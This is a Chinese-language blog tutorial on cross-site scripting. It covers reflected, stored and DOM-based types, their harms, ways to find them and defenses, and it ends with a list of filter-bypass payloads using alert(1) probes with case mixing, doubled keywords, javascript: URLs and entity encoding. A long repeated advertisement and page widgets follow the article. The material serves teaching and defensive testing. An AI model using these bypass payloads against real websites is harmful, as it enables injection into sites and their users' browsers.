XSS漏洞攻击与防御

概念

XSS 被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器。 XSS 通过将精心构造的代码(JS)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入的网页,XSS 脚本就会被提取出来。用户浏览器就会解析这段XSS 代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。 微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。

XSS漏洞类型

反射型XSS

反射型XSS攻击并不保存恶意代码在目标网站上,而是通过诱使用户点击一个包含恶意链接的URL来实施攻击。当用户点击该链接后,恶意代码将被注入到目标网站的响应中,并由浏览器解析执行。

存储型XSS

存储型XSS攻击将恶意代码存储到目标网站的数据库中。当其他用户访问包含存储型XSS漏洞的页面时,恶意代码会从数据库中提取并插入到页面中,导致其在受害者浏览器中执行。

DOM型XSS

DOM型XSS攻击通过修改网页的DOM节点来实现。与反射型XSS类似,DOM型XSS攻击不涉及将恶意代码存储到服务器上,而是通过修改客户端的JavaScript代码来实现攻击。恶意代码会被浏览器解析执行,并在页面中显示出来。

XSS的危害

XSS攻击可能导致以下危害:

  • 盗取用户的敏感信息,如Cookie。
  • 篡改网页内容,欺骗用户或操纵网站功能。
  • 重定向用户到恶意网站。
  • 执行恶意代码,控制用户浏览器执行任意操作。
  • 传播XSS蠕虫,通过感染其他用户传播恶意代码。

XSS漏洞的利用与挖掘

攻击者可以利用各种方式来利用和挖掘XSS漏洞。以下是一些常见的例子:

  • 在搜索框等用户输入的地方插入特殊数据,然后查看页面源代码,寻找是否存在未过滤的用户输入。
  • 尝试插入恶意代码,如<script>alert(1)</script><img src=x onerror=prompt(1);>,并检查是否能触发XSS漏洞。
  • 利用一些已知的XSS平台或工具进行漏洞挖掘和利用。

防御XSS攻击

为了防止XSS攻击,开发者需要采取一些防御措施来保护网站和用户的安全。

  • 输入过滤和验证:对用户输入进行严格过滤和验证,确保只接受预期的数据格式和类型。
  • 输出编码:在将用户输入插入到网页中时,使用适当的编码函数对特殊字符进行转义,以防止其被解析为恶意代码。
  • 使用CSP(内容安全策略):通过CSP设置响应头,限制浏览器可以加载和执行的资源,从而减少XSS攻击的风险。
  • 限制权限:将用户输入视为不可信任的数据,避免直接将其作为代码执行或存储。
  • 更新软件和框架:定期更新和升级使用的软件和框架,以修复已知的

部分绕过方法

关键字被过滤的情况
<svg>
<svg onload="alert(1)">
​
大小写绕过
<ImG sRc=1 onerRor=alert(1);>
<SvG OnlOad="alert(1)">
​
双写关键字(有限制)
<imimgg srsrcc=x onerror=alert("xss");>
Javascript伪协议的使用
<table background="javascript:alert(1)"></table>

javascript伪协议绕过
"><a href='javascript:alert(1)'>
事件或javascript伪协议大小写绕过
"><a Href='javascript:alert(1)'>
" Onclick="alert(1)

javascript伪协议双写绕过

"><a hhrefref='javasscriptcript:alert(1)'>

javascript伪协议实体编码绕过

十进制实体编码:javascrip&#116;:alert(1)
十六进制实体编码:javascrip&#x74;:alert(1)
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ava实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),可运行高分资源 Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值